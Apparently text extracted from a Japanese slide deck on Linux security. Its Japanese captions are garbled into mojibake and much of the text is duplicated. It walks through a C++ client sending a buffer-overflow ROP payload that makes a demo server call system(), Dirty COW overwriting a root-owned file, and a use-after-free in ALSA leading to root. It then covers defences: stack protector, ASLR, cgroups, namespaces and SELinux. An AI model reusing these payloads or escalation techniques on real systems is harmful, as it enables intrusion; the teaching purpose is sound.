    boost::asio; using boost::asio::ip::tcp; asio::io_service io_service; tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); const std::vector< uint8_t > command{ 't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ ద౰ͳϑΝΠϧΛ࡞੒
  29. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00 }; for( size_t i = 0u; i != 10u; ++i ) std::copy( command.begin(), command.end(), std::back_inserter( data ) ); data.push_back( 0x0d ); data.push_back( 0x0a ); boost::system::error_code error; asio::write(socket, asio::buffer(data), error); return 0; if( !error ) { asio::streambuf receive_buffer; asio::read_until(socket, receive_buffer, '\n', error); std::cout << asio::buffer_cast<const char*>(receive_buffer.data()) << std::endl; } } ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ
  30. tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); const std::vector<

    uint8_t > command{ 't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00 }; for( size_t i = 0u; i != 10u; ++i ) std::copy( command.begin(), command.end(), std::back_inserter( data ) ); data.push_back( 0x0d ); ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ QPQSEJͯ͠SFURͯ͠Δίʔυʹ ඈͿͨΊͷΞυϨε SEJʹ৐ͤΔ஋ ࣮ߦ͍ͨ͠ίϚϯυ system() sync() exit() γΣϧεΫϦϓτ
  31. $ ./pktgen ΫϥΠΞϯτ αʔό $ gdb -q ./tiny_server Reading symbols

    from ./tiny_server...done. (gdb) run Starting program: /home/fadis/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/ libthread_db.so.1". [Inferior 1 (process 11310) exited with code 02] (gdb) quit $ ls a tiny_server ͳΜ͔Ͱ͖ͯΔ
  32. DIRTY COW(CVE-2016-5195) root # echo 'abcde' >sample.txt root # ls

    -lha sample.txt -rw-r--r-- 1 root root 6 Mar 18 11:21 sample.txt root # logout non_root $ cat sample.txt abcde non_root $ ./dirtyc0w sample.txt ‘pwned' mmap 7f214599a000 ^C non_root $ cat sample.txt pwned non_root $ ls -lha sample.txt -rw-r--r-- 1 root root 6 3݄ 18 11:21 sample.txt ҰൠϢʔβ͕ root͔͠ॻ͚ͳ͍ϑΝΠϧΛ ॻ͖׵͑ͯ͠·ͬͨ ͜Ε͕ՄೳͳΒrootϩάΠϯͷೝূΛແ͘͢͜ͱͩͬͯग़དྷΔ
  33. CVE-2017-15265 ALSA Sequencer[1]ͷϙʔτΛ࡞͙ͬͯ͢ʹഁغ͢Δ [1] ALSA Sequencer http://www.alsa-project.org/~frank/alsa-sequencer/index.html Ϣʔβۭؒ Χʔωϧۭؒ ϙʔτ͍ͩ͘͞

    Ͳ͏ͧ ϙʔτͷͨΊͷ ྖҬͷ֬อ ϙʔτΛॳظԽ εϨου1 εϨου1 ϙʔτ΋͏͍͍΍ ϙʔτͷͨΊͷ ྖҬͷղ์ εϨου2 εϨου2 ͠Α͏ͱࢥͬͨΒ ແ͔ͬͨ
  34. ͜͜ʹ -JOVYΧʔωϧͷ "-4"4FRVFODFSͷॳظԽதͰ ίʔϧόοΫΛಡΜͰ͍ΔՕॴΛషΔ Use After Free Χʔωϧͷߏ଄ମʹ͸ଟ਺ͷίʔϧόοΫؔ਺͕ઃఆ͞Ε͍ͯΔ ղ์ࡁΈͷϝϞϦ͸ಉαΠζͷϝϞϦΛ֬อ͢Δͱ ߴ֬཰Ͱಉ͡ྖҬΛऔಘͰ͖Δ

    ίʔϧόοΫΛ೚ҙͷΞυϨεʹॻ͖׵͑ͯΧʔωϧʹݺ͹ͤΔ https://elixir.bootlin.com/linux/v4.15.10/source/sound/core/seq/seq_clientmgr.c#L619 ϙʔτ͸΋͏ղ์͞ΕͯΔ͚Ͳ ͜͜Ͱϙʔτʹઃఆ͞Εͨ ίʔϧόοΫΛݺΜͰΔ
  35. Use After Free ͜ΕΛར༻ͯ͠ԿΛݺ͹ͤΔ͔ ͦΕ͸΋ͪΖΜ commit_creds( prepare_kernel_cred( NULL ) );

    ༁ԶΛrootʹ͠Ζ ղ์ࡁΈͷྖҬ͔ΒίʔϧόοΫΛݺͿঢ়ଶʹ͑͞Ͱ͖Ε͹ ͜ͷ߈ܸ͕੒ཱ͢ΔՄೳੑ͕͋ΔͨΊ Use After FreeΛ࢖ͬͨݖݶঢ֨੬ऑੑ͸සൟʹݟ͔ͭΔ
  36. Use After Free $7& $7& $7& ղ์ࡁΈͷྖҬ͔ΒίʔϧόοΫΛݺͿঢ়ଶʹ͑͞Ͱ͖Ε͹ ͜ͷ߈ܸ͕੒ཱ͢ΔՄೳੑ͕͋ΔͨΊ Use After

    FreeΛ࢖ͬͨݖݶঢ֨੬ऑੑ͸සൟʹݟ͔ͭΔ $7& $7& $7& $7&
  37. TUBDLQSPUFDUPS f: push %rbp mov %rsp,%rbp sub $0x20,%rsp mov %edi,-0x14(%rbp)

    mov %esi,-0x18(%rbp) mov %fs:0x28,%rax mov %rax,-0x8(%rbp) xor %eax,%eax mov -0x14(%rbp),%edx mov -0x18(%rbp),%eax add %edx,%eax mov -0x8(%rbp),%rcx xor %fs:0x28,%rcx je 40055f <f+0x39> callq 400400 <__stack_chk_fail@plt> leaveq retq f: push %rbp mov %rsp,%rbp mov %edi,-0x4(%rbp) mov %esi,-0x8(%rbp) mov -0x4(%rbp),%edx mov -0x8(%rbp),%eax add %edx,%eax pop %rbp retq ͋Δ࣌ ͳ͍࣌ gccͷ࠷దԽΦϓγϣϯͷ1ͭ ͳΜ͔ ૿͑ͯΔ
  38. TUBDLQSPUFDUPS f: push %rbp mov %rsp,%rbp sub $0x20,%rsp mov %edi,-0x14(%rbp)

    mov %esi,-0x18(%rbp) mov %fs:0x28,%rax mov %rax,-0x8(%rbp) xor %eax,%eax mov -0x14(%rbp),%edx mov -0x18(%rbp),%eax add %edx,%eax mov -0x8(%rbp),%rcx xor %fs:0x28,%rcx je 40055f <f+0x39> callq 400400 <__stack_chk_fail@plt> leaveq retq ͋ΔݻఆͷΞυϨε͔ΒಡΜͩ஋Λ ελοΫʹੵΉ ઌఔͱಉ͡ΞυϨε͔ΒಡΜͩ஋ͱ ελοΫͷ஋Λൺֱ͠ Ұக͠ͳ͔ͬͨΒabort͢Δ
  39. TUBDLQSPUFDUPS ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺gͷม਺ ؔ਺f͕ऴΘͬͨΒ໭ΔҐஔ ؔ਺fͷม਺ ؔ਺fͷม਺ ؔ਺gͷSCQ ϥϯμϜͳ஋ όοϑΝΦʔόʔϥϯͰ

    returnΞυϨεΛॻ͖׵͑Δʹ͸ ͜͜·Ͱॻ͖ࠐΉඞཁ͕͋Δ ؒʹڬ·͍ͬͯΔ ͜ͷ஋Λॻ͖׵͑ͯ͠·͏ͱ ϓϩάϥϜ͸ҟৗऴྃ͢Δ όοϑΝΦʔόʔϥϯΛར༻ͨ͠ ೚ҙͷίʔυͷ࣮ߦ͕ͱͯ΋೉͘͠ͳΔ
  40. TUBDLQSPUFDUPS xor %eax,%eax mov -0x14(%rbp),%edx mov -0x18(%rbp),%eax add %edx,%eax mov

    -0x8(%rbp),%rcx xor %fs:0x28,%rcx je 40055f <f+0x39> callq 400400 <__stack_chk_fail@plt> leaveq retq ઌఔͱಉ͡ΞυϨε͔ΒಡΜͩ஋ͱ ελοΫͷ஋Λൺֱ͠ Ұக͠ͳ͔ͬͨΒabort͢Δ ελοΫ͕ഁյ͞ΕͨޙͳͷͰ ຊདྷͷॲཧʹ໭Δ͜ͱ͸Ͱ͖ͳ͍ stack-protector͸ ߈ܸऀ͕೚ҙͷίʔυΛ࣮ߦͰ͖Δ੬ऑੑΛ ߈ܸऀ͕DoS߈ܸΛͰ͖Δ੬ऑੑʹऑΊΔ
  41. address space layout randomization $ cat /proc/self/maps 00400000-00407000 r-xp 00000000

    08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f9e54cd8000-7f9e5b63d000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f9e5b63d000-7f9e5b7cc000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7ffeb0a50000-7ffeb0a72000 rw-p 00000000 00:00 0 [stack] 7ffeb0b87000-7ffeb0b89000 r--p 00000000 00:00 0 [vvar] 7ffeb0b89000-7ffeb0b8b000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat /proc/self/maps 00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f5e24988000-7f5e2b2ed000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f5e2b2ed000-7f5e2b47c000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7fffe276e000-7fffe2790000 rw-p 00000000 00:00 0 [stack] 7fffe27c2000-7fffe27c4000 r--p 00000000 00:00 0 [vvar] 7fffe27c4000-7fffe27c6000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ϓϩηεΛىಈ͢ΔͨͼʹϝϞϦϨΠΞ΢τΛม͑Δ 1ճ໨ 2ճ໨
  42. address space layout randomization $ cat /proc/self/maps 00400000-00407000 r-xp 00000000

    08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f9e54cd8000-7f9e5b63d000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f9e5b63d000-7f9e5b7cc000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7ffeb0a50000-7ffeb0a72000 rw-p 00000000 00:00 0 [stack] 7ffeb0b87000-7ffeb0b89000 r--p 00000000 00:00 0 [vvar] 7ffeb0b89000-7ffeb0b8b000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat /proc/self/maps 00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f5e24988000-7f5e2b2ed000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f5e2b2ed000-7f5e2b47c000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7fffe276e000-7fffe2790000 rw-p 00000000 00:00 0 [stack] 7fffe27c2000-7fffe27c4000 r--p 00000000 00:00 0 [vvar] 7fffe27c4000-7fffe27c6000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ϓϩηεΛىಈ͢ΔͨͼʹϝϞϦϨΠΞ΢τΛม͑Δ 1ճ໨ 2ճ໨ ελοΫͷΞυϨε͕࣮ߦ͢ΔͨͼʹมԽ͍ͯ͠Δ 7ffeb0a50000-7ffeb0a72000 7fffe276e000-7fffe2790000 system()ʹ౉͢ҝʹॻ͖ࠐΜͩ γΣϧεΫϦϓτͷΞυϨε͕ຖճมΘΔҝ εΫϦϓτͷ࣮ߦ͕ͱͯ΋೉͘͠ͳΔ
  43. address space layout randomization $ cat /proc/self/maps 00400000-00407000 r-xp 00000000

    08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f9e54cd8000-7f9e5b63d000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f9e5b63d000-7f9e5b7cc000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7ffeb0a50000-7ffeb0a72000 rw-p 00000000 00:00 0 [stack] 7ffeb0b87000-7ffeb0b89000 r--p 00000000 00:00 0 [vvar] 7ffeb0b89000-7ffeb0b8b000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat /proc/self/maps 00400000-00407000 r-xp 00000000 08:03 35724749 /bin/cat … 00608000-00629000 rw-p 00000000 00:00 0 [heap] 7f5e24988000-7f5e2b2ed000 r--p 00000000 08:03 78637654 /usr/lib64/locale/locale-archive 7f5e2b2ed000-7f5e2b47c000 r-xp 00000000 08:03 10430373 /lib64/libc-2.23.so … 7fffe276e000-7fffe2790000 rw-p 00000000 00:00 0 [stack] 7fffe27c2000-7fffe27c4000 r--p 00000000 00:00 0 [vvar] 7fffe27c4000-7fffe27c6000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ϓϩηεΛىಈ͢ΔͨͼʹϝϞϦϨΠΞ΢τΛม͑Δ 1ճ໨ 2ճ໨ ϥΠϒϥϦͷ഑ஔ΋࣮ߦ͢ΔͨͼʹมԽ 7f9e5b63d000-7f9e5b7cc000 7f5e2b2ed000-7f5e2b47c000 system()౳͕ஔ͔Ε͍ͯΔΞυϨε΋ ϥϯμϜʹมԽ͢Δҝ ೚ҙͷίʔυͷ࣮ߦ͕ͱͯ΋೉͘͠ͳΔ
  44. $ gdb -q ./tiny_server Reading symbols from ./tiny_server...done. (gdb) set

    disable-randomization off (gdb) run Starting program: /home/fadis/tiny_server_test/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7931f54 in ?? () (gdb) backtrace #0 0x00007ffff7931f54 in ?? () #1 0x00007fffffffd3a0 in ?? () #2 0x00007ffff6f6d350 in ?? () #3 0x00007ffff700e5c0 in ?? () #4 0x00007ffff6f63b90 in ?? () #5 0x0061206863756f74 in ?? () #6 0x0000000000000000 in ?? () (gdb) p &system $1 = (<text variable, no debug info> *) 0x7f51c76cd350 <system> (gdb) disas 0x7ffff7931f54 No function contains specified address. ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹
  45. $ gdb -q ./tiny_server Reading symbols from ./tiny_server...done. (gdb) set

    disable-randomization off (gdb) run Starting program: /home/fadis/tiny_server_test/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7931f54 in ?? () (gdb) backtrace #0 0x00007ffff7931f54 in ?? () #1 0x00007fffffffd3a0 in ?? () #2 0x00007ffff6f6d350 in ?? () #3 0x00007ffff700e5c0 in ?? () #4 0x00007ffff6f63b90 in ?? () #5 0x0061206863756f74 in ?? () #6 0x0000000000000000 in ?? () (gdb) p &system $1 = (<text variable, no debug info> *) 0x7f51c76cd350 <system> (gdb) disas 0x7ffff7931f54 No function contains specified address. ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹ system()͕ظ଴ͨ͠ΞυϨεͱҟͳΔ৔ॴʹ഑ஔ͞Ε͍ͯΔ 0x00007ffff6f6d350 0x7f51c76cd350 ASLRແ͠ͷ৔߹ʹsystem()͕ஔ͍ͯ͋ͬͨ৔ॴ ࣮ࡍʹsystem()͕ ഑ஔ͞Ε͍ͯͨ৔ॴ
  46. $ gdb -q ./tiny_server Reading symbols from ./tiny_server...done. (gdb) set

    disable-randomization off (gdb) run Starting program: /home/fadis/tiny_server_test/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7931f54 in ?? () (gdb) backtrace #0 0x00007ffff7931f54 in ?? () #1 0x00007fffffffd3a0 in ?? () #2 0x00007ffff6f6d350 in ?? () #3 0x00007ffff700e5c0 in ?? () #4 0x00007ffff6f63b90 in ?? () #5 0x0061206863756f74 in ?? () #6 0x0000000000000000 in ?? () (gdb) p &system $1 = (<text variable, no debug info> *) 0x7f51c76cd350 <system> (gdb) disas 0x7ffff7931f54 No function contains specified address. ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹ ͦΕҎલʹ࠷ॳʹpop %rdi͢Δҝͷίʔυย͕ ظ଴ͨ͠৔ॴʹͳ͍ 0x00007ffff7931f54 No function contains specified address ASLRແ͠ͷ৔߹ʹpop %rdiͱretq͕͋ͬͨ৔ॴ ͦ͜ʹؔ਺͸ແ͍
  47. $ gdb -q ./tiny_server Reading symbols from ./tiny_server...done. (gdb) set

    disable-randomization off (gdb) run Starting program: /home/fadis/tiny_server_test/tiny_server [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib64/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7931f54 in ?? () (gdb) backtrace #0 0x00007ffff7931f54 in ?? () #1 0x00007fffffffd3a0 in ?? () #2 0x00007ffff6f6d350 in ?? () #3 0x00007ffff700e5c0 in ?? () #4 0x00007ffff6f63b90 in ?? () #5 0x0061206863756f74 in ?? () #6 0x0000000000000000 in ?? () (gdb) p &system $1 = (<text variable, no debug info> *) 0x7f51c76cd350 <system> (gdb) disas 0x7ffff7931f54 No function contains specified address. ઌఔγΣϧͷ࣮ߦʹ੒ޭͨ͠ྫΛASLR༗ΓͰߦͳͬͨ৔߹ ͦͷ݁Ռ Կ΋ׂΓ౰ͯΒΕ͍ͯͳ͍ϝϞϦʹretqͰඈ΅͏ͱͯ͠ ൣғ֎ࢀরͰϓϩηε͕ఀࢭͨ͠ ߈ܸऀ͕೚ҙͷίʔυΛ࣮ߦͰ͖Δ੬ऑੑΛ ߈ܸऀ͕DoS߈ܸΛͰ͖Δ੬ऑੑʹऑΊΔࣄ͕Ͱ͖ͨ
  48. tcp::socket socket(io_service); socket.connect( tcp::endpoint( asio::ip::address::from_string("127.0.0.1"), 20000 ) ); const std::vector<

    uint8_t > command{ 't', 'o', 'u', 'c', 'h', ' ', 'a', 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; std::vector< uint8_t > data { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x31, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x1f, 0x93, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0xa0, 0xd3, 0xff, 0xff, 0xff, 0x7f, 0x00, 0x00, 0x50, 0xd3, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00, 0xc0, 0xe5, 0x00, 0xf7, 0xff, 0x7f, 0x00, 0x00, 0x90, 0x3b, 0xf6, 0xf6, 0xff, 0x7f, 0x00, 0x00 }; for( size_t i = 0u; i != 10u; ++i ) std::copy( command.begin(), command.end(), std::back_inserter( data ) ); data.push_back( 0x0d ); ࡉ޻ͨ͠σʔλΛૹΔΫϥΠΞϯτ system() γΣϧεΫϦϓτ ߈ܸऀ͕όοϑΝΦʔόʔϥϯ͔Β ೚ҙͷॲཧͷ࣮ߦʹܨ͛Δ࠷΋खܰͳํ๏system()͸ தͰࢠϓϩηεΛੜ੒͍ͯ͠Δҝ ࢠϓϩηε͕ੜ੒ग़དྷͳ͍ͱ߈ܸ͕େม໘౗ʹͳΔ
  49. $ g++ sample.c -o sample $ ./sample bin dev home

    lib32 lost+found mnt proc run sys usr boot etc lib lib64 media opt root sbin tmp var ੒ޭ $ cgcreate -g pids:test $ cgset -r pids.max=1 test $ cgexec -g pids:test ./sample ࣦഊ $ #include <iostream> #include <cstdlib> int main() { if( system( "ls /" ) == 0 ) std::cout << "੒ޭ" << std::endl; else std::cout << "ࣦഊ" << std::endl; } system()͕ػೳ͢ΔͱϧʔτσΟϨΫτϦͷ಺༰Λදࣔ͢ΔϓϩάϥϜ ͬ͢ͽΜͰಈ͔͢ͱදࣔ͞ΕΔ testͱ͍͏໊લͷpidsʹؔ͢Δ৽͍͠cgroupΛ࡞Δ test಺ͷ࠷େϓϩηε਺Λ1ʹ͢Δ cgroupΛtestʹͯ͠ಈ͔͢ͱ system()ʹࣦഊ͢Δ
  50. Ϛ΢ϯτ໊લۭؒ Ͳ͜ʹԿ͕Ϛ΢ϯτ͞Ε͍ͯΔ͔ͷ৘ใΛ ਌ϓϩηε͔Β෼཭͢Δ ਌ϓϩηε ࢠϓϩηε IPHF GVHB IPHF GVHB ਌ϓϩηε͔Βݟ͑Δ/hoge/fuga

    ࢠϓϩηε͔Βݟ͑Δ/hoge/fuga chroot΍umountͱ૊Έ߹ΘͤΔࣄͰ ࢠϓϩηε͔Β਌ϓϩηεͷσΟϨΫτϦπϦʔͷଘࡏΛ ݟ͑ͳ͘͢Δࣄ͕Ͱ͖Δ
  51. ॴ༗ऀ: Bob άϧʔϓ: ΧϨʔಉ޷ձ ύʔϛογϣϯ: ॴ༗ऀͱ άϧʔϓϝϯόʔ͸ ಡΈॻ͖OK ݹయతͳ*NIXͷύʔϛογϣϯ ΧϨʔ԰৘ใ

    Alice (ΧϨʔಉ޷ձձһ) "MJDF͞Μ͸άϧʔϓϝϯόʔ άϧʔϓϝϯόʔͷॻ͖ࠐΈ͸0, Linux OK ͋ͷϑΝΠϧʹ ॻ͖͍ͨ
  52. ॴ༗ऀ: Bob άϧʔϓ: ΧϨʔಉ޷ձ ύʔϛογϣϯ: ॴ༗ऀͱ άϧʔϓϝϯόʔ͸ ಡΈॻ͖OK ΧϨʔ԰৘ใ BobΛࣗশ͢Δ

    ߈ܸऀ #PC͞Μ͸ ϑΝΠϧͷॴ༗ऀ͔ͩΒ #PC͞ΜͷཁٻͳΒؒҧ͍ͳ͍ Linux ͋ͷϑΝΠϧΛ ࣺͯͨ͘ͳͬͨ OK ݹయతͳ*NIXͷύʔϛογϣϯͷݶք
  53. ॴ༗ऀ: Charlie άϧʔϓ: ΧϨʔಉ޷ձ ύʔϛογϣϯ: ୭Ͱ΋ಡΈॻ͖ࣗ༝ ۃൿ৘ใ Charlie $IBSMJF͞Μ͸ ϑΝΠϧͷॴ༗ऀ͔ͩΒ

    $IBSMJF͞ΜͷཁٻͳΒؒҧ͍ͳ͍ Linux OK *NIXΑʔΘ͔ΒΜ 777ʹ͠ͱ͍ͯ ݹయతͳ*NIXͷύʔϛογϣϯͷݶք
  54. Æ SELinux ύʔϛογϣϯ system_u:object_r: passwd_exec_t Bob ॴ༗ऀ: Bob ॴ༗ऀͷಡΈॻ͖OK ಡΜͰOK

    㲔 SELinux passwd_exec_t ͸ಡΜͰྑ͍ ಡΜͰOK ૯ධ ಡΜͰOK ͋ͷϑΝΠϧ ݟͤͯ #PC͞Μ͕ࣗ෼Ͱ ઃఆͰ͖Δൣғ SELinux passwd_exec_t ͸࢖ͬͯ͸͍͚ͳ͍ ࢖༻ېࢭ ૯ධ ࢖༻ېࢭ 8080 8080൪ϙʔτΛ ࢖͍͍ͨͳ
  55. $ sesearch --allow … allow passwd_t crack_db_t:dir { getattr ioctl

    lock open read search }; allow passwd_t crack_db_t:file { getattr ioctl lock open read }; allow passwd_t default_context_t:dir { getattr open search }; allow passwd_t device_t:dir { getattr ioctl lock open read search }; … allow passwd_t shadow_t:file { append create getattr ioctl link lock open read relabelfrom relabelto rename setattr unlink write }; … allow passwd_t passwd_exec_t:file { entrypoint execute getattr ioctl lock map open read }; … allow user_t passwd_exec_t:file { execute getattr open read }; allow user_t passwd_t:process transition; … ҰൠϢʔβ͕ී௨ʹϩάΠϯ͖ͯͨ͠ঢ়گ͔Β passwd_exec_tʹଐ͢ίϚϯυΛ࣮ߦ͢Δࣄ͕Ͱ͖Δ passwd_tυϝΠϯ΁ͷભҠ͕ೝΊΒΕΔ passwd_exec_tʹ ଐ͢ίϚϯυͷ࣮ߦ࣌ʹ passwd_tʹભҠ͢Δ passwd_tυϝΠϯͰ͸passwdΛ࣮ߦ͢Δͷʹඞཁͳ΋ͷ͔͠৮Εͳ͍ passwd_tͷϓϩηε͸ shadow_tλΠϓͷ ύεϫʔυϑΝΠϧΛ৮ΕΔ
  56. passwd ύεϫʔυϑΝΠϧ ਖ਼نͷϩάΠϯखॱͰ ೖ͖ͬͯͨϢʔβ ύεϫʔυͱ ؔ܎ͳ͍ ϑΝΠϧ shadow_t΁ͷΞΫηεݖ͕ͳ͍ ແؔ܎ͳϑΝΠϧ΁ͷ ΞΫηεݖ͕ͳ͍

    passwd_tʹભҠ Bob ਖ਼نͷϩάΠϯखॱͰ ೖͬͯ͜ͳ͔ͬͨϢʔβ passwd_tʹ ભҠ͢Δݖݶ͕ͳ͍ shadow_t΁ͷ ΞΫηεݖ͕ͳ͍ BobʹͳΓ͢·͢߈ܸऀ passwd_t͸shadow_tΛ৮ΕΔ
  57. SELinux͕ΞΫηεΛڋ൱͢Δͱ ҎԼͷΑ͏ͳΧʔωϧϩά͕ग़Δ audit: type=1400 audit(1521959710.081:83): avc: denied { setattr }

    for pid=2168 comm="chmod" name="shadow" dev="vda" ino=524679 scontext=staff_u:staff_r:staff_t tcontext=system_u:object_r:shadow_t tclass=file passwd_tҎ֎ͷυϝΠϯͰ࣮ߦ͞Εͨ ίϚϯυchmod͕ shadow_tλΠϓ͕͍ͭͨϑΝΠϧshadowͷ ύʔϛογϣϯΛॻ͖׵͑Α͏ͱͨ͠ҝ ڋ൱ͨ͠
  58. audit: type=1400 audit(1521959710.081:83): avc: denied { setattr } for pid=2168

    comm="chmod" name="shadow" dev="vda" ino=524679 scontext=staff_u:staff_r:staff_t tcontext=system_u:object_r:shadow_t tclass=file ιϑτ΢ΣΞʹ͜ͷૢ࡞Λ͢΂͖ਖ਼౰ͳཧ༝͕͋Δ৔߹ ͦͷιϑτ΢ΣΞͷҝͷ৽͍͠υϝΠϯΛ࡞Ζ͏ ͦͷιϑτ΢ΣΞ͕ਖ਼ৗʹ࢖ΘΕΔͱ͖ʹ ͦͷυϝΠϯʹભҠͰ͖ΔݖݶΛ༩͑Α͏ ͦͷυϝΠϯʹඞཁͳૢ࡞Λߦ͏ݖݶΛ༩͑Α͏
  59. Common Vulnerability Scoring System جຊධՁج४(Base Metrics) ੬ऑੑͦͷ΋ͷͷಛ௃ʹجͮ͘είΞ ͜͜ͷ஋͕ߴ͍ఔର৅ʹେ͕݀։͍͍ͯΔ ݱঢ়ධՁج४ (Temporal

